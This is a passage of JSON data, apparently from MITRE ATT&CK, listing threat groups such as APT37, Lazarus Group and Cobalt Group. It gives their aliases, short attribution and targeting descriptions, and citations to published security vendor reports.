                    "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.",
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                    "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf",
                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
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            "description": "[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
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                    "description": "(Citation: FireEye APT30) (Citation: Baumgartner Golovkin Naikon 2015)",
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                    "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
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                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
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                    "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)",
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                    "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)",
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                    "description": "(Citation: ESET OceanLotus)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
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                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/",
                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "source_name": "Volexity OceanLotus Nov 2017"
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                {
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "source_name": "ESET OceanLotus"
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                    "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)",
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                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
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                    "url": "https://www.brighttalk.com/webcast/10703/275683",
                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123)",
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                    "description": "(Citation: Securelist ScarCruft Jun 2016) (Citation: FireEye APT37 Feb 2018)",
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                {
                    "description": "(Citation: FireEye APT37 Feb 2018)",
                    "source_name": "APT37"
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                {
                    "description": "(Citation: FireEye APT37 Feb 2018)",
                    "source_name": "Reaper"
                },
                {
                    "description": "(Citation: FireEye APT37 Feb 2018)",
                    "source_name": "Group123"
                },
                {
                    "description": "(Citation: FireEye APT37 Feb 2018)",
                    "source_name": "TEMP.Reaper"
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                {
                    "url": "https://securelist.com/operation-daybreak/75100/",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "source_name": "Securelist ScarCruft Jun 2016"
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                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "source_name": "FireEye APT37 Feb 2018"
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                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
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            "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
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                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
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                    "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72",
                    "description": "Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
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                    "url": "https://securelist.com/games-are-over/70991/",
                    "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
                    "source_name": "Kaspersky Winnti June 2015"
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                    "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf",
                    "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                },
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                    "source_name": "REDBALDKNIGHT"
                },
                {
                    "description": "(Citation: Trend Micro Daserf Nov 2017) (Citation: Symantec Tick Apr 2016)",
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                },
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                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
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                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
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                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "source_name": "Symantec Tick Apr 2016"
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            "name": "BlackOasis",
            "description": "[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)",
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                    "url": "https://attack.mitre.org/groups/G0063",
                    "source_name": "mitre-attack"
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                {
                    "description": "(Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017)",
                    "source_name": "BlackOasis"
                },
                {
                    "url": "https://securelist.com/blackoasis-apt-and-new-targeted-attacks-leveraging-zero-day-exploit/82732/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.",
                    "source_name": "Securelist BlackOasis Oct 2017"
                },
                {
                    "url": "https://securelist.com/apt-trends-report-q2-2017/79332/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 8). APT Trends report Q2 2017. Retrieved February 15, 2018.",
                    "source_name": "Securelist APT Trends Q2 2017"
                },
                {
                    "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/",
                    "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.",
                    "source_name": "CyberScoop BlackOasis Oct 2017"
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            "aliases": [
                "BlackOasis"
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            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) is a threat group that mainly targets banks. It also refers to malware of the same name ([Carbanak](https://attack.mitre.org/software/S0030)). It is sometimes referred to as [FIN7](https://attack.mitre.org/groups/G0046), but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)",
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                    "url": "https://attack.mitre.org/groups/G0008",
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                {
                    "description": "(Citation: Fox-It Anunak Feb 2015)",
                    "source_name": "Anunak"
                },
                {
                    "description": "(Citation: Crowdstrike State of Criminal May 2016)",
                    "source_name": "Carbon Spider"
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "source_name": "Kaspersky Carbanak"
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                {
                    "url": "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/",
                    "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.",
                    "source_name": "Fox-It Anunak Feb 2015"
                },
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
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                    "url": "https://www.crowdstrike.com/blog/state-criminal-address/",
                    "description": "Johnston, R. (2016, May 16). State of the Criminal Address. Retrieved December 7, 2017.",
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                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
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            "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
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                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
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                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/",
                    "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.",
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)",
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                {
                    "description": "(Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018)",
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                {
                    "description": "(Citation: Talos Cobalt Group July 2018) (Citation: Crowdstrike Global Threat Report Feb 2018)",
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                {
                    "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)",
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
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                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf",
                    "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.",
                    "source_name": "PTSecurity Cobalt Group Aug 2017"
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                    "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
                    "source_name": "PTSecurity Cobalt Dec 2016"
                },
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
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                    "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.",
                    "source_name": "Proofpoint Cobalt June 2017"
                },
                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-strike/",
                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
                    "source_name": "RiskIQ Cobalt Nov 2017"
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                {
                    "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/",
                    "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.",
                    "source_name": "RiskIQ Cobalt Jan 2018"
                },
                {
                    "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report",
                    "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.",
                    "source_name": "Crowdstrike Global Threat Report Feb 2018"
                },
                {
                    "url": "https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain",
                    "description": "Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.",
                    "source_name": "Europol Cobalt Mar 2018"
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            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
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                    "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
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                    "url": "http://www.clearskysec.com/copykitten-jpost/",
                    "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.",
                    "source_name": "ClearSky CopyKittens March 2017"
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                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
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                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "source_name": "CopyKittens Nov 2015"
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            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)",
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                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
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            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)",
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                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
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                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
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            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)",
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                    "url": "https://securelist.com/files/2014/11/darkhotel_kl_07.11.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
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            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to [Deep Panda](https://attack.mitre.org/groups/G0009). (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) [Deep Panda](https://attack.mitre.org/groups/G0009) also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine) Some analysts track [Deep Panda](https://attack.mitre.org/groups/G0009) and [APT19](https://attack.mitre.org/groups/G0073) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016)",
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                    "description": "(Citation: Symantec Black Vine)",
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                    "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.",
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                    "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.",
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                    "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.",
                    "source_name": "Symantec Black Vine"
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                    "url": "https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/",
                    "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.",
                    "source_name": "ICIT China's Espionage Jul 2016"
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                    "description": "(Citation: Operation Quantum Entanglement) (Citation: New DragonOK)",
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                    "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.",
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                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
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                    "url": "https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group",
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                    "url": "http://fortune.com/2017/09/06/hack-energy-grid-symantec/",
                    "description": "Hackett, R. (2017, September 6). Hackers Have Penetrated Energy Grid, Symantec Warns. Retrieved June 6, 2018.",
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            "description": "[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)",
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                    "description": "(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)",
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                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
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            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)",
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                    "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
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                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
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                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
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                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)",
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                {
                    "description": "(Citation: Novetta Blockbuster)",
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                },
                {
                    "description": "(Citation: US-CERT HIDDEN COBRA June 2017)",
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                {
                    "description": "(Citation: US-CERT HIDDEN COBRA June 2017)",
                    "source_name": "Guardians of Peace"
                },
                {
                    "description": "(Citation: Microsoft ZINC disruption Dec 2017)",
                    "source_name": "ZINC"
                },
                {
                    "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)",
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                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
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                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A",
                    "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.",
                    "source_name": "US-CERT HIDDEN COBRA June 2017"
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                    "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/",
                    "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.",
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                    "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing",
                    "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.",
                    "source_name": "Secureworks NICKEL ACADEMY Dec 2017"
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                    "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/",
                    "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.",
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            "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)",
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                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
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                    "description": "(Citation: FireEye Periscope March 2018)",
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                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
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                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
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                },
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                    "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Saffron Rose. (Citation: Unit 42 Magic Hound Feb 2017)",
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                {
                    "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the group Ajax Security Team. (Citation: Unit 42 Magic Hound Feb 2017)",
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                    "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Woolen-Goldfish. (Citation: Unit 42 Magic Hound Feb 2017)",
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                    "description": "Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters). (Citation: Unit 42 Magic Hound Feb 2017) (Citation: FireEye APT35 2018)",
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                },
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                    "description": "Based on overlapping hash values in reporting, Magic Hound activity appears to overlap with activity conducted by the group known as Cobalt Gypsy. (Citation: Secureworks Cobalt Gypsy Feb 2017)",
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                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
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                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "source_name": "ClearSky Charming Kitten Dec 2017"
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                    "url": "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations",
                    "description": "Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017.",
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                {
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "source_name": "FireEye APT35 2018"
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            "description": "[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)",
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                    "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks &#91;Blog&#93;. Retrieved November 12, 2014.",
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                {
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                    "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.",
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            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but is believed to be a distinct group motivated by espionage. (Citation: Unit 42 MuddyWater Nov 2017)",
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                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
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                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
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                    "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.",
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                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
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                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
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                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
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                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
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                    "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)",
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                {
                    "description": "It is believed that the actors behind G0040 are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)",
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                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
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                    "url": "https://securelist.com/the-dropping-elephant-actor/75328/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.",
                    "source_name": "Securelist Dropping Elephant"
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                    "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
                    "source_name": "Symantec Patchwork"
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                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "source_name": "PaloAlto Patchwork Mar 2018"
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                {
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "source_name": "Forcepoint Monsoon"
                },
                {
                    "url": "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf",
